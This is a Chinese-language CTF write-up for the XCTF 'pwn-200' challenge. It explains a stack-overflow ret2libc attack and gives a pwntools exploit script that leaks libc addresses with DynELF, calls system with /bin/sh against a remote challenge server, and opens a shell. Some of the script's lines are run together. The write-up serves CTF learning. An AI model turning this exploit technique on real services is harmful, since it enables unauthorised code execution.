当前位置: 代码迷 >> 综合 >> pwn-200(xctf)
  详细解决方案

pwn-200(xctf)

热度:59   发布时间:2024-02-08 08:39:47.0

0x0 程序保护和流程

保护:

protect

流程:

main()

main

overflow()

overflow

明显的栈溢出漏洞。

0x1 利用过程

1.由于题目没有给出libc的版本,所以需要通过pwntools中的DynELF或者Libcsearch得出libc的版本。

2.如果使用DynELF则需要向内存写入**/bin/sh**,而Libcsearch则不用。

3.payload的构造(以DynELF为例):

  • payload=padding+p32(read_plt)+p32(ppp_addr)+p32(0)+p32(bss_addr)+p32(8)+p32(sys_addr)+p32(0)+p32(bss_addr) #这种构造方式需要将read的参数pop出栈后再调用system函数。
  • payload=padding+p32(read_plt)+p32(sys_addr)+p32(0)+p32(bss_addr)+p32(8) #这种构造方式利用了read函数的三个参数中的前两个可以和system函数的返回地址和参数相吻合,所以不需要清栈。

0x2 exp

from pwn import *
sh=remote('220.249.52.133','54489')
# sh=process('./a')
elf=ELF('./a')
write_plt=elf.plt['write']
read_plt=elf.plt['read']
bss_addr=elf.bss()
padding=(0x6c+4)*'a'
main_addr=0x080484BE
ppp_addr=0x080485cddef leak(address):payload=padding+p32(write_plt)+p32(main_addr)+p32(1)+p32(address)+p32(4)sh.sendafter("Welcome to XDCTF2015~!\n",payload)return sh.recv(4)d=DynELF(leak,elf=elf)
sys_addr=d.lookup('system','libc')
# payload=padding+p32(read_plt)+p32(ppp_addr)+p32(0)+p32(bss_addr)+p32(8)+p32(sys_addr)+p32(0)+p32(bss_addr)
payload=padding+p32(read_plt)+p32(sys_addr)+p32(0)+p32(bss_addr)+p32(8)
sh.sendafter("Welcome to XDCTF2015~!\n",payload)
sh.send("/bin/sh\x00")
sh.interactive()